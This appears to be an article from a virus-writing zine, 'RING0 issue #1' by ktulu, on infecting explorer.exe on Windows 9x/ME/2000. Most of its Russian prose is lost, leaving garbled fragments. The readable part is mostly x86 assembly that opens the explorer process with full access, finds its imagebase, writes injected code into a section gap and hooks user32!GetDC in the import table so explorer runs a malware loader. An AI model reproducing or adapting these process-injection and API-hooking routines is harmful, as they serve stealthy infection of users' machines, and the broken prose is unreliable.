
 /*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                        

                                                             by ktulu

Hello, comrades.

       ,        (),
    ,        . 
in-the-wild    .  ,
  per-process .     .

           ,   
,        . , 
              griyo/29a  
magistr'.        ,          
  win9x/ME/2k  explorer infector.     -
 :),    .

               explorer.exe  ,
             (thread) 
.          : 
   ,      ,
    .

        .     ,  :
1.  
2.      / 
3.     
4.    loader
5.  -     loader
6.  ,  loader  ,  
       (  ).

            . , :
     1.           ,  
  imagebase,       .    
  ,    -    
GetWindowThreadProcessId  OpenProcess.  :
;-----------------------------------------------------------------------------
     :              
.     -      .    
,      -          ,  
 .
;-----------------------------------------------------------------------------
;find explorer
;in:    none
;out:   EAX     explorer handle
findexpl:
        pusha

        push 'd'
        push 'nWya'
        push 'rT_l'
        push 'lehS' ;Shell_TrayWnd
        mov eax, esp
        push 0
        push eax
        _call FindWindowA ; 
        add esp, 16

        push eax
        push esp
        push eax
        _call GetWindowThreadProcessId ; ProcessId 
        test eax, eax
        jz fatal_error

        push 0
        push PROCESS_ALL_ACCESS
        _call OpenProcess ; 
        test eax, eax
        je fatal_error

        mov [esp+7*4], eax
        popa
        retn
;-----------------------------------------------------------------------------
     Imagebase          ,   
          PE  header.     
400000h?    , , winnt 4.0 imagebase  .
;-----------------------------------------------------------------------------
find_imagebase:
;in: ebx - explorer handle
;    edi - temp buffer
        pusha
        push 100
        push edi
        _call GetWindowsDirectoryA

        xor ecx, ecx
        dec ecx
        push edi
        xor eax, eax
        repnz scasb
        dec edi
        mov eax, 'pxe\'
        stosd
        mov eax, 'erol'
        stosd
        mov eax, 'xe.r'
        stosd
        mov word ptr [edi], 'e' ;explorer.exe, 0

        pop ebx
        mov edx, ebx

        call fopen

        mov esi, mz_size
        mov edi, edx
        call fread

        mov eax, [edx].mz_neptr
        call fseekBeg

        add edx, mz_size
        mov esi, pe_size
        mov edi, edx
        call fread
        call fclose

        mov eax, [edx].pe_imagebase
        mov [esp+7*4], eax
        popa
        retn
;-----------------------------------------------------------------------------
     ,  ,    ,     
.         :     .    
           . :
    ,         - .
:          PAGE_READWRITE,     
    (    ), 
       VirtualProtect _memread  _memwrite, 
      
;esi - size
;edi - buffer ( /)
;ebx - handle
;ecx - rva
   .
;------------------------------------------------------------------------------
;inject code to explorer.exe
;in:    edx               temp p
;       edi             headerz
;       ebx              explorer.exe
;       eax               injected code
;out:   eax             rva injected code   explorer.exe

inj_code:
        pusha
        xchg edi, edx
        movzx ecx, [edx+mz_size].pe_ntheadersize
        add ecx, [edx].mz_neptr
        add ecx, 18h
        mov esi, 28h
        call _memread ;   

        mov ecx, [edi].oe_virt_rva ;   
        mov esi, inject_len
                 ;      
        sub ecx, esi
        push ecx
        call _memread

        push eax
        xor eax, eax
        mov ecx, esi
        rep scasb
        jnz fatal_error
        pop eax
        pop ecx

        pusha ;    PAGE_READWRITE
        push eax
        push esp
        push PAGE_READWRITE
        push esi
        add ecx, [ebp+(_addimagebase-vstart)] ; imagebase
        push ecx
        push ebx
        _call VirtualProtectEx
        test eax, eax
        jz fatal_error
        pop eax
        popa

        mov edi, eax  ; 
        call _memwrite

        add ecx, [ebp+(_addimagebase-vstart)]
        mov [esp+7*4], ecx
        popa
        retn
;------------------------------------------------------------------------------
     ,       ,      . 
         ,     
   .              -  
-  api    loader GriYo   GetDC  
  ,          
-  GetDlgCtrlID.         .  
    ,    .  nt/2k  
IAT          -,   IAT  
.      -   griyo     2/nt.
      GetDC  ""    import table,  
          IAT.
;------------------------------------------------------------------------------
;Hook explorer user32!GetDC
;in:    edx               temp p
;       eax                 user32!GetDC
;       edi             pe header
;       ebx              explorer.exe
;out:   eax               user32!GetDC import entry
hook_expl:
        pusha
        push eax
        xchg edx, edi
        mov ecx, [edx].pe_importtablerva
        mov esi, [edx].pe_importtablesize ; import table
        call _memread
        mov eax, edi

__verr_lib:
        mov esi, [edi].im_librarynamerva ; entry  USER32.DLL
        sub esi, ecx
        cmp dword ptr [eax+esi], 'RESU'
        je __user32_found
        add edi, im_size
        jmp __verr_lib

__user32_found:
; read user32 import table entry
        xchg eax, edi
        add edi, [edx].pe_importtablesize
        mov esi, 200h
        mov ecx, [eax].im_lookuptablerva
        call _memread

        push eax
        mov edx, edi ; GetDC
        add edi, esi
        mov esi, 7
        xor eax, eax
__next_func:
        mov ecx, [edx+eax*4]
        call _memread
        push eax
        mov eax, dword ptr [edi+2] ;GetDC
        xor eax, dword ptr [edi+3]
        cmp eax, 'DteG' xor 'CDte'
        pop eax
        je __GetDC_found
        inc eax
        jmp __next_func

__GetDC_found:
;read user32 IAT GetDC entry
        pop edx
        push 4
        pop esi
        shl eax, 2
        xchg eax, ecx
        add ecx, [edx].im_addresstablerva
        call _memread

        mov edi, esp
        call _memwrite
        pop eax
        mov [esp+7*4], ecx
        popa
        retn
;------------------------------------------------------------------------------
     ,      user32!GetDC   -   
  .          , 
   .       ,
                                  -           
CreateFileMappingA/OpenFileMappingA/MapViewOfFile.        
    ,       .   , 
   .         IPC  (inter  process  communication)
  ,      vx .

        ,   ?     - 
  .   -     .
,        ,     
 api.  .

                  .     
win98se,  winme,  win2kpro  sp1      .  
        win95osr2,     win2k advanced
server.  ,    ,          ,  
.  -       , 
   ,    _asdfgh@rambler.ru.

     btw,              ,      
CreateRemoteThread.  ,  api    nt/2k.
    ,    "  "   winme, 
 win98,     .

                                                ...the call of ktulu...

